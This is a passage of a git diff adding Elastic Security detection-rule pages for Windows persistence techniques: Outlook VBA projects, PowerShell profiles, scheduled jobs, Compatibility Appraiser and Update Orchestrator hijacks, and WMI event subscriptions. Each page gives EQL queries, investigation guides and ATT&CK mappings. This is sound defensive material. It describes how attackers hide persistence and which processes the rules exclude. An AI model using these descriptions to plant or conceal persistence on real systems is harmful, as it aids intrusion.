free from any unauthorized modifications. +- Conduct a full antivirus and antimalware scan on the affected endpoint using tools like Microsoft Defender XDR to identify and remove any additional threats. +- Review and update endpoint security policies to restrict unauthorized modifications to Outlook VBA files, leveraging application whitelisting or similar controls. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : "VbaProject.OTM" and + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM", "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Office Template Macros +** ID: T1137.001 +** Reference URL: https://attack.mitre.org/techniques/T1137/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-powershell-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-powershell-profile.asciidoc new file mode 100644 index 0000000000..0ae0943a44 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-powershell-profile.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-persistence-via-powershell-profile]] +=== Persistence via PowerShell profile + +Identifies the creation or modification of a PowerShell profile. PowerShell profile is a script that is executed when PowerShell starts to customize the user environment, which can be abused by attackers to persist in a environment where PowerShell is common. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles +* https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via PowerShell profile* + + +PowerShell profiles are scripts executed when PowerShell starts, customizing the user environment. They are commonly used in Windows environments for legitimate purposes, such as setting variables or loading modules. However, adversaries can abuse PowerShell profiles to establish persistence by inserting malicious code that executes each time PowerShell is launched. + +This rule identifies the creation or modification of a PowerShell profile. It does this by monitoring file events on Windows systems, specifically targeting profile-related file paths and names, such as `profile.ps1` and `Microsoft.Powershell_profile.ps1`. By detecting these activities, security analysts can investigate potential abuse of PowerShell profiles for malicious persistence. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Retrive and inspect the PowerShell profile content; look for suspicious DLL imports, collection or persistence capabilities, suspicious functions, encoded or compressed data, suspicious commands, and other potentially malicious characteristics. +- Identify the process responsible for the PowerShell profile creation/modification. Use the Elastic Defend events to examine all the activity of the subject process by filtering by the process's `process.entity_id`. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Evaluate whether the user needs to use PowerShell to complete tasks. +- Check for additional PowerShell and command-line logs that indicate that any suspicious command or function were run. +- Examine the host for derived artifacts that indicate suspicious activities: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This is a dual-use mechanism, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the script doesn't contain malicious functions or potential for abuse, no other suspicious activity was identified, and the user has business justifications to use PowerShell. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Reimage the host operating system or restore the compromised files to clean versions. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + - Consider enabling and collecting PowerShell logs such as transcription, module, and script block logging, to improve visibility into PowerShell activities. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : ("profile.ps1", "Microsoft.Powershell_profile.ps1") and + file.path : ("?:\\Users\\*\\Documents\\WindowsPowerShell\\*.ps1", + "?:\\Users\\*\\Documents\\PowerShell\\*.ps1", + "?:\\Windows\\System32\\WindowsPowerShell\\*.ps1", + "\\Device\\HarddiskVolume*\\Users\\*\\Documents\\WindowsPowerShell\\*.ps1", + "\\Device\\HarddiskVolume*\\Users\\*\\Documents\\PowerShell\\*.ps1", + "\\Device\\HarddiskVolume*\\Windows\\System32\\WindowsPowerShell\\*.ps1") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: PowerShell Profile +** ID: T1546.013 +** Reference URL: https://attack.mitre.org/techniques/T1546/013/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: PowerShell Profile +** ID: T1546.013 +** Reference URL: https://attack.mitre.org/techniques/T1546/013/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-scheduled-job-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-scheduled-job-creation.asciidoc new file mode 100644 index 0000000000..12d4634fa3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-scheduled-job-creation.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-21-persistence-via-scheduled-job-creation]] +=== Persistence via Scheduled Job Creation + +A job can be used to schedule programs or scripts to be executed at a specified date and time. Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Scheduled Job Creation* + + +Scheduled jobs in Windows environments allow tasks to be automated by executing scripts or programs at specified times. Adversaries exploit this feature to maintain persistence by scheduling malicious code execution. The detection rule identifies suspicious job creation by monitoring specific file paths and extensions, excluding known legitimate processes, to flag potential abuse while minimizing false positives. + + +*Possible investigation steps* + + +- Review the file path and extension to confirm the presence of a scheduled job in the "?:\Windows\Tasks\" directory with a ".job" extension, which is indicative of a scheduled task. +- Examine the process executable path to determine if the job creation is associated with any known legitimate processes, such as CCleaner or ManageEngine, which are excluded in the detection rule. +- Investigate the origin of the process that created the scheduled job by checking the process execution history and command line arguments to identify any potentially malicious behavior. +- Analyze the scheduled job's content and associated scripts or programs to identify any suspicious or unauthorized code that may indicate malicious intent. +- Correlate the event with other security logs and alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context and identify any related malicious activity. +- Assess the risk and impact of the scheduled job by determining if it aligns with known adversary tactics, techniques, and procedures (TTPs) related to persistence, as outlined in the MITRE ATT&CK framework. + + +*False positive analysis* + + +- Scheduled jobs created by CCleaner for crash reporting can trigger false positives. Exclude the path "?:\Windows\Tasks\CCleanerCrashReporting.job" when the process executable is "?:\Program Files\CCleaner\CCleaner64.exe". +- ManageEngine UEMS Agent and DesktopCentral Agent may create scheduled jobs for updates, leading to false positives. Exclude the path "?:\Windows\Tasks\DCAgentUpdater.job" when the process executable is "?:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" or "?:\Program Files (x86)\DesktopCentral_Agent\bin\dcagentregister.exe". +- Regularly review and update exclusion lists to ensure they reflect the current environment and legitimate software behavior. +- Consider implementing a whitelist of known legitimate processes and paths to further reduce false positives while maintaining effective threat detection. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious scheduled jobs and limit lateral movement. +- Terminate any suspicious processes associated with the identified scheduled job, using tools like Task Manager or PowerShell, to halt any ongoing malicious activity. +- Delete the suspicious scheduled job file from the system to prevent future execution. This can be done using the Task Scheduler or command-line tools. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) solutions to identify and remove any additional malicious files or remnants. +- Review and audit other scheduled tasks on the system to ensure no additional unauthorized or suspicious jobs are present. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring and alerting for scheduled job creation activities across the network to detect similar threats in the future, leveraging the specific query fields used in the detection rule. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.path : "?:\\Windows\\Tasks\\*" and file.extension : "job" and + not ( + ( + process.executable : "?:\\Program Files\\CCleaner\\CCleaner64.exe" and + file.path : "?:\\Windows\\Tasks\\CCleanerCrashReporting.job" + ) or + ( + process.executable : ( + "?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentregister.exe", + "?:\\Program Files (x86)\\DesktopCentral_Agent\\bin\\dcagentregister.exe" + ) and + file.path : "?:\\Windows\\Tasks\\DCAgentUpdater.job" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc new file mode 100644 index 0000000000..44949f3338 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-persistence-via-telemetrycontroller-scheduled-task-hijack]] +=== Persistence via TelemetryController Scheduled Task Hijack + +Detects the successful hijack of Microsoft Compatibility Appraiser scheduled task to establish persistence with an integrity level of system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via TelemetryController Scheduled Task Hijack* + + +The Microsoft Compatibility Appraiser, part of Windows telemetry, uses scheduled tasks to assess system compatibility. Adversaries exploit this by hijacking the task to execute malicious code with system-level privileges, ensuring persistence. The detection rule identifies anomalies by monitoring processes initiated by the Appraiser that deviate from expected behavior, flagging potential hijacks for further investigation. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent process CompatTelRunner.exe and verify if it has spawned any unexpected child processes that match the alert criteria. +- Examine the command-line arguments of the suspicious process to determine if they include the "-cv*" flag, which may indicate a hijack attempt. +- Check the execution history of the flagged process to see if it aligns with legitimate system activities or if it appears anomalous. +- Investigate the user account context under which the suspicious process is running to assess if it has elevated privileges or is associated with unusual user behavior. +- Correlate the alert with other security logs and telemetry data from sources like Microsoft Defender XDR or Sysmon to identify any related malicious activities or indicators of compromise. +- Analyze any network connections initiated by the suspicious process to detect potential data exfiltration or communication with known malicious IP addresses. +- Review recent changes to scheduled tasks on the system to identify unauthorized modifications that could indicate persistence mechanisms. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger the rule if they involve processes that are not typically associated with the Microsoft Compatibility Appraiser. Users can create exceptions for known maintenance scripts or tools that are verified as safe. +- Software updates or installations that temporarily use unusual processes under the Appraiser's context might be flagged. Users should monitor and whitelist these processes if they are part of a trusted update or installation routine. +- Custom scripts or administrative tools that leverage the Appraiser's context for legitimate purposes could be misidentified. Users should document and exclude these scripts from detection if they are part of regular administrative operations. +- Security tools or monitoring software that interact with the Appraiser process for analysis or logging purposes may cause false positives. Users should ensure these tools are recognized and excluded from the detection rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified by the detection rule that are not part of the expected process list, such as those not matching "conhost.exe", "DeviceCensus.exe", "CompatTelRunner.exe", "DismHost.exe", "rundll32.exe", or "powershell.exe". +- Review and restore the integrity of the Microsoft Compatibility Appraiser scheduled task by resetting it to its default configuration to ensure it is not executing unauthorized code. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or software. +- Analyze the system for any unauthorized changes to user accounts or privileges, and revert any modifications to ensure that only legitimate users have access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the affected system and similar scheduled tasks across the network to detect any future attempts at hijacking or unauthorized modifications. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "CompatTelRunner.exe" and process.args : "-cv*" and + not process.name : ("conhost.exe", + "DeviceCensus.exe", + "CompatTelRunner.exe", + "DismHost.exe", + "rundll32.exe", + "powershell.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-update-orchestrator-service-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-update-orchestrator-service-hijack.asciidoc new file mode 100644 index 0000000000..025c9dfcbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-update-orchestrator-service-hijack.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-21-persistence-via-update-orchestrator-service-hijack]] +=== Persistence via Update Orchestrator Service Hijack + +Identifies potential hijacking of the Microsoft Update Orchestrator Service to establish persistence with an integrity level of SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/irsl/CVE-2020-1313 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: SentinelOne + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via Update Orchestrator Service Hijack* + + +Windows Update Orchestrator Service is a DCOM service used by other components to install Windows updates that are already downloaded. Windows Update Orchestrator Service was vulnerable to elevation of privileges (any user to local system) due to an improper authorization of the callers. The vulnerability affected the Windows 10 and Windows Server Core products. Fixed by Microsoft on Patch Tuesday June 2020. + +This rule will detect uncommon processes spawned by `svchost.exe` with `UsoSvc` as the command line parameters. Attackers can leverage this technique to elevate privileges or maintain persistence. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "C:\\Windows\\System32\\svchost.exe" and + process.parent.args : "UsoSvc" and + not process.executable : + ("?:\\ProgramData\\Microsoft\\Windows\\UUS\\Packages\\*\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\System32\\UsoClient.exe", + "?:\\Windows\\System32\\MusNotification.exe", + "?:\\Windows\\System32\\MusNotificationUx.exe", + "?:\\Windows\\System32\\MusNotifyIcon.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\WerMgr.exe", + "?:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\System32\\MoUsoCoreWorker.exe", + "?:\\Windows\\UUS\\amd64\\UsoCoreWorker.exe", + "?:\\Windows\\System32\\UsoCoreWorker.exe", + "?:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") and + not process.name : ("MoUsoCoreWorker.exe", "OfficeC2RClient.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-wmi-event-subscription.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-wmi-event-subscription.asciidoc new file mode 100644 index 0000000000..1cad43731b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-wmi-event-subscription.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-persistence-via-wmi-event-subscription]] +=== Persistence via WMI Event Subscription + +An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via WMI Event Subscription* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI by creating event subscriptions that trigger malicious code execution, ensuring persistence. The detection rule identifies suspicious use of `wmic.exe` to create event consumers, signaling potential abuse of WMI for persistence by monitoring specific process activities and arguments. + + +*Possible investigation steps* + + +- Review the process execution details for `wmic.exe` to confirm the presence of suspicious arguments such as "create", "ActiveScriptEventConsumer", or "CommandLineEventConsumer" that indicate potential WMI event subscription abuse. +- Examine the parent process of `wmic.exe` to determine how it was launched and assess whether this aligns with expected behavior or if it suggests malicious activity. +- Investigate the user account associated with the `wmic.exe` process to determine if it has the necessary privileges to create WMI event subscriptions and whether the account activity is consistent with normal operations. +- Check for any recent changes or additions to WMI event filters, consumers, or bindings on the affected system to identify unauthorized modifications that could indicate persistence mechanisms. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks using wmic.exe may trigger the rule, such as system monitoring or configuration changes. To handle this, identify and document routine administrative scripts and exclude them from triggering alerts. +- Software installations or updates that use WMI for legitimate event subscriptions can be mistaken for malicious activity. Maintain a list of trusted software and their expected behaviors to create exceptions in the detection rule. +- Automated system management tools that rely on WMI for event handling might cause false positives. Review and 